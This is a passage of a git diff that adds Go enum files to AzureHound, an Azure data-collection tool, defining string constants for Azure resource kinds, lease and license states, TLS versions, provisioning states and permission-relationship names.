KindAZKeyVaultOwner Kind = "AZKeyVaultOwner" + KindAZKeyVaultRoleAssignment Kind = "AZKeyVaultRoleAssignment" + KindAZKeyVaultUserAccessAdmin Kind = "AZKeyVaultUserAccessAdmin" + KindAZManagementGroup Kind = "AZManagementGroup" + KindAZManagementGroupRoleAssignment Kind = "AZManagementGroupRoleAssignment" + KindAZManagementGroupOwner Kind = "AZManagementGroupOwner" + KindAZManagementGroupDescendant Kind = "AZManagementGroupDescendant" + KindAZManagementGroupUserAccessAdmin Kind = "AZManagementGroupUserAccessAdmin" + KindAZResourceGroup Kind = "AZResourceGroup" + KindAZResourceGroupRoleAssignment Kind = "AZResourceGroupRoleAssignment" + KindAZResourceGroupOwner Kind = "AZResourceGroupOwner" + KindAZResourceGroupUserAccessAdmin Kind = "AZResourceGroupUserAccessAdmin" + KindAZRole Kind = "AZRole" + KindAZRoleAssignment Kind = "AZRoleAssignment" + KindAZServicePrincipal Kind = "AZServicePrincipal" + KindAZServicePrincipalOwner Kind = "AZServicePrincipalOwner" + KindAZSubscription Kind = "AZSubscription" + KindAZSubscriptionRoleAssignment Kind = "AZSubscriptionRoleAssignment" + KindAZSubscriptionOwner Kind = "AZSubscriptionOwner" + KindAZSubscriptionUserAccessAdmin Kind = "AZSubscriptionUserAccessAdmin" + KindAZTenant Kind = "AZTenant" + KindAZUser Kind = "AZUser" + KindAZVM Kind = "AZVM" + KindAZVMAdminLogin Kind = "AZVMAdminLogin" + KindAZVMAvereContributor Kind = "AZVMAvereContributor" + KindAZVMContributor Kind = "AZVMContributor" + KindAZVMOwner Kind = "AZVMOwner" + KindAZVMRoleAssignment Kind = "AZVMRoleAssignment" + KindAZVMUserAccessAdmin Kind = "AZVMUserAccessAdmin" + KindAZVMVMContributor Kind = "AZVMVMContributor" + KindAZAppRoleAssignment Kind = "AZAppRoleAssignment" + KindAZStorageAccount Kind = "AZStorageAccount" + KindAZStorageAccountRoleAssignment Kind = "AZStorageAccountRoleAssignment" + KindAZStorageContainer Kind = "AZStorageContainer" + KindAZAutomationAccount Kind = "AZAutomationAccount" + KindAZAutomationAccountRoleAssignment Kind = "AZAutomationAccountRoleAssignment" + KindAZLogicApp Kind = "AZLogicApp" + KindAZLogicAppRoleAssignment Kind = "AZLogicAppRoleAssignment" + KindAZFunctionApp Kind = "AZFunctionApp" + KindAZFunctionAppRoleAssignment Kind = "AZFunctionAppRoleAssignment" + KindAZContainerRegistry Kind = "AZContainerRegistry" + KindAZContainerRegistryRoleAssignment Kind = "AZContainerRegistryRoleAssignment" + KindAZWebApp Kind = "AZWebApp" + KindAZWebAppRoleAssignment Kind = "AZWebAppRoleAssignment" + KindAZManagedCluster Kind = "AZManagedCluster" + KindAZManagedClusterRoleAssignment Kind = "AZManagedClusterRoleAssignment" + KindAZVMScaleSet Kind = "AZVMScaleSet" + KindAZVMScaleSetRoleAssignment Kind = "AZVMScaleSetRoleAssignment" +) diff --git a/enums/lease_duration.go b/enums/lease_duration.go new file mode 100644 index 0000000..7030d49 --- /dev/null +++ b/enums/lease_duration.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type LeaseDuration string + +const ( + FixedLeaseDuration LeaseDuration = "Fixed" + InfiniteLeaseDuration LeaseDuration = "Infinite" +) diff --git a/enums/lease_state.go b/enums/lease_state.go new file mode 100644 index 0000000..41077cb --- /dev/null +++ b/enums/lease_state.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type LeaseState string + +const ( + AvailableLeaseState LeaseState = "Available" + BreakingLeaseState LeaseState = "Breaking" + BrokenLeaseState LeaseState = "Broken" + ExpiredLeaseState LeaseState = "Expired" + LeasedLeaseState LeaseState = "Leased" +) diff --git a/enums/lease_status.go b/enums/lease_status.go new file mode 100644 index 0000000..70cb71f --- /dev/null +++ b/enums/lease_status.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type LeaseStatus string + +const ( + LockedLeaseStatus LeaseStatus = "Locked" + UnlockedLeaseStatus LeaseStatus = "Unlocked" +) diff --git a/enums/legalagegroup.go b/enums/legalagegroup.go new file mode 100644 index 0000000..f941f3e --- /dev/null +++ b/enums/legalagegroup.go @@ -0,0 +1,36 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type LegalAgeGroup string + +const ( + // The user is considered a minor based on the age-related regulations of their country or region and the + // administrator of the account has obtained appropriate consent from a parent or guardian. + LegalAgeGroupMinorWithParentalConsent LegalAgeGroup = "minorWithParentalConsent" + + // The user is considered an adult based on the age-related regulations of their country or region. + LegalAgeGroupAdult LegalAgeGroup = "adult" + + // The user is from a country or region that has statutory regulations and the user's age is more than the upper + // limit of kid age and less than the lower limit of adult age as defined by the user's country or region. + LegalAgeGroupNotAdult LegalAgeGroup = "notAdult" + + // The user is a minor but is from a country or region that has no age-related regulations. + LegalAgeGroupMinorNoParentalConsentRequired LegalAgeGroup = "minorNoParentalConsentRequired" +) diff --git a/enums/legalagegrouprule.go b/enums/legalagegrouprule.go new file mode 100644 index 0000000..295433c --- /dev/null +++ b/enums/legalagegrouprule.go @@ -0,0 +1,40 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// Specifies the legal age group rule that applies to users of the app. +type LegalAgeGroupRule string + +const ( + // Enforces the legal minimum This means parental consent is required for minors in the EU and Korea. + // + // Default + LegalAgeGroupRuleAllow LegalAgeGroupRule = "Allow" + + // Enforces the user to specify date of birth to comply with COPPA rules. + LegalAgeGroupRuleRequireConsentForPrivacyServices LegalAgeGroupRule = "RequireConsentForPrivacyServices" + + // Requires parental consent for ages below 18, regardless of country minor rules. + LegalAgeGroupRuleRequireConsentForMinors LegalAgeGroupRule = "RequireConsentForMinors" + + // Requires parental consent for ages below 14, regardless of country minor rules. + LegalAgeGroupRuleRequireConsentForKids LegalAgeGroupRule = "RequireConsentForKids" + + // Blocks minors from using the app. + LegalAgeGroupRuleBlockMinors LegalAgeGroupRule = "BlockMinors" +) diff --git a/enums/licenseerror.go b/enums/licenseerror.go new file mode 100644 index 0000000..2eb4282 --- /dev/null +++ b/enums/licenseerror.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type LicenseError string + +const ( + LicenseErrorCountViolation LicenseError = "CountViolation" + LicenseErrorMutuallyExclusiveViolation LicenseError = "MutuallyExclusiveViolation" + LicenseErrorDependencyViolation LicenseError = "DependencyViolation" + LicenseErrorProhibitedInUsageLocationViolation LicenseError = "ProhibitedInUsageLocationViolation" + LicenseErrorUniquenessViolation LicenseError = "UniquenessViolation" + LicenseErrorOthers LicenseError = "Others" +) diff --git a/enums/licenseprocessingstate.go b/enums/licenseprocessingstate.go new file mode 100644 index 0000000..2980947 --- /dev/null +++ b/enums/licenseprocessingstate.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type LicenseProcessingState string + +const ( + LicenseProcessingStateFalse LicenseProcessingState = "false" + LicenseProcessingStateQueued LicenseProcessingState = "QueuedForProcessing" + LicenseProcessingStateInProgress LicenseProcessingState = "ProcessingInProgress" + LicenseProcessingStateComplete LicenseProcessingState = "ProcessingComplete" +) diff --git a/enums/licensestate.go b/enums/licensestate.go new file mode 100644 index 0000000..341fbbe --- /dev/null +++ b/enums/licensestate.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type LicenseState string + +const ( + LicenseStateActive LicenseState = "Active" + LicenseStateActiveWithError LicenseState = "ActiveWithError" + LicenseStateDisabled LicenseState = "Disabled" + LicenseStateError LicenseState = "Error" +) diff --git a/enums/logic_app_provisioning_state.go b/enums/logic_app_provisioning_state.go new file mode 100644 index 0000000..1e4816b --- /dev/null +++ b/enums/logic_app_provisioning_state.go @@ -0,0 +1,41 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type LogicAppProvisioningState string + +const ( + AcceptedProvisioningState LogicAppProvisioningState = "Accepted" + CanceledProvisioningState LogicAppProvisioningState = "Canceled" + CompletedProvisioningState LogicAppProvisioningState = "Completed" + CreatedProvisioningState LogicAppProvisioningState = "Created" + CreatingProvisioningState LogicAppProvisioningState = "Creating" + DeletedProvisioningState LogicAppProvisioningState = "Deleted" + DeletingProvisioningState LogicAppProvisioningState = "Deleting" + FailedProvisioningState LogicAppProvisioningState = "Failed" + MovingProvisioningState LogicAppProvisioningState = "Moving" + NotSpecifiedProvisioningState LogicAppProvisioningState = "NotSpecified" + ReadyProvisioningState LogicAppProvisioningState = "Ready" + RegisteredProvisioningState LogicAppProvisioningState = "Registered" + RegisteringProvisioningState LogicAppProvisioningState = "Registering" + RunningProvisioningState LogicAppProvisioningState = "Running" + SucceededProvisioningState LogicAppProvisioningState = "Succeeded" + UnregisteredProvisioningState LogicAppProvisioningState = "Unregistered" + UnregisteringProvisioningState LogicAppProvisioningState = "Unregistering" + UpdatingProvisioningState LogicAppProvisioningState = "Updating" +) diff --git a/enums/logic_app_state.go b/enums/logic_app_state.go new file mode 100644 index 0000000..18e7034 --- /dev/null +++ b/enums/logic_app_state.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type LogicAppState string + +const ( + CompletedLogicAppState LogicAppState = "Completed" + DeletedLogicAppState LogicAppState = "Deleted" + DisabledLogicAppState LogicAppState = "Disabled" + EnabledLogicAppState LogicAppState = "Enabled" + NotSpecifiedLogicAppState LogicAppState = "NotSpecified" + SuspendedLogicAppState LogicAppState = "Suspended" +) diff --git a/enums/maintenanceoperationcode.go b/enums/maintenanceoperationcode.go new file mode 100644 index 0000000..d0e487d --- /dev/null +++ b/enums/maintenanceoperationcode.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type MaintenanceOperationCode string + +const ( + MaintenanceOperationCodeAborted MaintenanceOperationCode = "MaintenanceAborted" + MaintenanceOperationCodeCompleted MaintenanceOperationCode = "MaintenanceCompleted" + MaintenanceOperationCodeNone MaintenanceOperationCode = "None" + MaintenanceOperationCodeRetryLater MaintenanceOperationCode = "RetryLater" +) diff --git a/enums/managed_pipeline_mode.go b/enums/managed_pipeline_mode.go new file mode 100644 index 0000000..cc5c98c --- /dev/null +++ b/enums/managed_pipeline_mode.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ManagedPipelineMode string + +const ( + ClassicPipelineMode ManagedPipelineMode = "Classic" + IntegratedPipelineMode ManagedPipelineMode = "Integrated" +) diff --git a/enums/messagedeliveryoptions.go b/enums/messagedeliveryoptions.go new file mode 100644 index 0000000..ff3e462 --- /dev/null +++ b/enums/messagedeliveryoptions.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type MessageDeliveryOptions string + +const ( + MessageDeliveryOptionsSendToDelegateAndInformationToPrincipal MessageDeliveryOptions = "sendToDelegateAndInformationToPrincipal" + MessageDeliveryOptionsSendToDelegateAndPrincipal MessageDeliveryOptions = "sendToDelegateAndPrincipal" + MessageDeliveryOptionsSendToDelegateOnly MessageDeliveryOptions = "sendToDelegateOnly" +) diff --git a/enums/migration_state.go b/enums/migration_state.go new file mode 100644 index 0000000..26795c1 --- /dev/null +++ b/enums/migration_state.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type MigrationState string + +const ( + CompletedMigrationState MigrationState = "Completed" + InProgressMigrationState MigrationState = "InProgress" +) diff --git a/enums/minimum_tls_version.go b/enums/minimum_tls_version.go new file mode 100644 index 0000000..98d6c6e --- /dev/null +++ b/enums/minimum_tls_version.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type MinimumTlsVersion string +type SupportedTlsVersions string + +const ( + TLS1_0 MinimumTlsVersion = "TLS1_0" + TLS1_1 MinimumTlsVersion = "TLS1_1" + TLS1_2 MinimumTlsVersion = "TLS1_2" + TLS10 SupportedTlsVersions = "1.0" + TLS11 SupportedTlsVersions = "1.1" + TLS12 SupportedTlsVersions = "1.2" +) diff --git a/enums/networkaction.go b/enums/networkaction.go new file mode 100644 index 0000000..291bf1f --- /dev/null +++ b/enums/networkaction.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// The default action when no rule from ipRules and from virtualNetworkRules match. This is only used after the bypass +// property has been evaluated. +type NetworkAction string + +const ( + NetworkActionAllow NetworkAction = "Allow" + NetworkActionDeny NetworkAction = "Deny" +) diff --git a/enums/parameter_type.go b/enums/parameter_type.go new file mode 100644 index 0000000..e25f01b --- /dev/null +++ b/enums/parameter_type.go @@ -0,0 +1,32 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ParameterType string + +const ( + ArrayType ParameterType = "Array" + BoolType ParameterType = "Bool" + FloatType ParameterType = "Float" + IntType ParameterType = "Int" + NotSpecifiedType ParameterType = "NotSpecified" + ObjectType ParameterType = "Object" + SecureObjectType ParameterType = "SecureObject" + SecureStringType ParameterType = "SecureString" + StringType ParameterType = "String" +) diff --git a/enums/patchstatus.go b/enums/patchstatus.go new file mode 100644 index 0000000..b470a7c --- /dev/null +++ b/enums/patchstatus.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type PatchStatus string + +const ( + PatchStatusCompletedWithWarnings PatchStatus = "CompletedWithWarnings" + PatchStatusFailed PatchStatus = "Failed" + PatchStatusInProgress PatchStatus = "InProgress" + PatchStatusSucceeded PatchStatus = "Succeeded" + PatchStatusUnknown PatchStatus = "Unknown" +) diff --git a/enums/redundancy_mode.go b/enums/redundancy_mode.go new file mode 100644 index 0000000..66e9584 --- /dev/null +++ b/enums/redundancy_mode.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type RedundancyMode string + +const ( + ActiveActiveRedundancyMode RedundancyMode = "ActiveActive" + FailoverRedundancyMode RedundancyMode = "Failover" + GeoRedundantRedundancyMode RedundancyMode = "GeoRedundant" + ManualRedundancyMode RedundancyMode = "Manual" + NoneRedundancyMode RedundancyMode = "None" +) diff --git a/enums/relationship.go b/enums/relationship.go new file mode 100644 index 0000000..4dcbfbe --- /dev/null +++ b/enums/relationship.go @@ -0,0 +1,48 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type Relationship string + +// relationshiperated relationships +const ( + RelationshipAZAvereContributor Relationship = "AZAvereContributor" + RelationshipAZContains Relationship = "AZContains" + RelationshipAZContributor Relationship = "AZContributor" + RelationshipAZGetCertificates Relationship = "AZGetCertificates" + RelationshipAZGetKeys Relationship = "AZGetKeys" + RelationshipAZGetSecrets Relationship = "AZGetSecrets" + RelationshipAZHasRole Relationship = "AZHasRole" + RelationshipAZMemberOf Relationship = "AZMemberOf" + RelationshipAZOwner Relationship = "AZOwner" + RelationshipAZRunsAs Relationship = "AZRunsAs" + RelationshipAZVMContributor Relationship = "AZVMContributor" +) + +// Post-processed relationships +const ( + RelationshipAZAddMembers Relationship = "AZAddMembers" + RelationshipAZAddSecret Relationship = "AZAddSecret" + RelationshipAZExecuteCommand Relationship = "AZExecuteCommand" + RelationshipAZGlobalAdmin Relationship = "AZGlobalAdmin" + RelationshipAZGrant Relationship = "AZGrant" + RelationshipAZGrantSelf Relationship = "AZGrantSelf" + RelationshipAZPrivilegedRoleAdmin Relationship = "AZPrivilegedRoleAdmin" + RelationshipAZAZResetPassword Relationship = "AZAZResetPassword" + RelationshipAZUserAccessAdministrator Relationship = "AZUserAccessAdministrator" +) diff --git a/enums/resourcebehavior.go b/enums/resourcebehavior.go new file mode 100644 index 0000000..6942a8f --- /dev/null +++ b/enums/resourcebehavior.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// Specifies group behaviors for a Microsoft 365 group +type ResourceBehavior string + +const ( + // Only group members can post conversations to the group. + // If unset ny user in the organization can post conversations to the group. + ResourceBehaviorAllowOnlyMembersToPost ResourceBehavior = "AllowOnlyMembersToPost" + + // This group is hidden in Outlook experiences. + // If unset all groups are visible and discoverable in Outlook experiences. + ResourceBehaviorHideGroupInOutlook ResourceBehavior = "HideGroupInOutlook" + + // Group members are subscribed to receive group conversations. + // If unset Group members do not receive group conversations. + ResourceBehaviorSubscribeNewGroupMembers ResourceBehavior = "SubscribeNewGroupMembers" + + // Welcome emails are not sent to new members. + // If unset A welcome email is sent to a new member on joining the group. + ResourceBehaviorWelcomeEmailDisabled ResourceBehavior = "WelcomeEmailDisabled" +) diff --git a/enums/resourceprovisioning.go b/enums/resourceprovisioning.go new file mode 100644 index 0000000..dbb1dff --- /dev/null +++ b/enums/resourceprovisioning.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// Specifies group resources to be provisioned as part of the Microsoft 365 group. +type ResourceProvisioning string + +const ( + // Provision this group as a team in Microsoft Teams. + // Additionally, this value can also be added on group update through a PATCH operation, in order to provision a + // team from an existing Microsoft 365 group. + ResourceProvisioningTeams ResourceProvisioning = "Teams" +) diff --git a/enums/routing_choice.go b/enums/routing_choice.go new file mode 100644 index 0000000..1d3fcd5 --- /dev/null +++ b/enums/routing_choice.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type RoutingChoice string + +const ( + InternetRouting RoutingChoice = "InternetRouting" + MicrosoftRouting RoutingChoice = "MicrosoftRouting" +) diff --git a/enums/ruleprocessingstate.go b/enums/ruleprocessingstate.go new file mode 100644 index 0000000..6a000b7 --- /dev/null +++ b/enums/ruleprocessingstate.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type RuleProcessingState string + +const ( + RuleProcessingStateOn RuleProcessingState = "On" + RuleProcessingStatePaused RuleProcessingState = "Paused" +) diff --git a/enums/scm_type.go b/enums/scm_type.go new file mode 100644 index 0000000..511b337 --- /dev/null +++ b/enums/scm_type.go @@ -0,0 +1,37 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ScmType string + +const ( + BitbucketGitScm ScmType = "BitbucketGit" + BitbucketHgScm ScmType = "BitbucketHg" + CodePlexGitScm ScmType = "CodePlexGit" + CodePlexHgScm ScmType = "CodePlexHg" + DropboxScm ScmType = "Dropbox" + ExternalGitScm ScmType = "ExternalGit" + ExternalHgScm ScmType = "ExternalHg" + GitHubScm 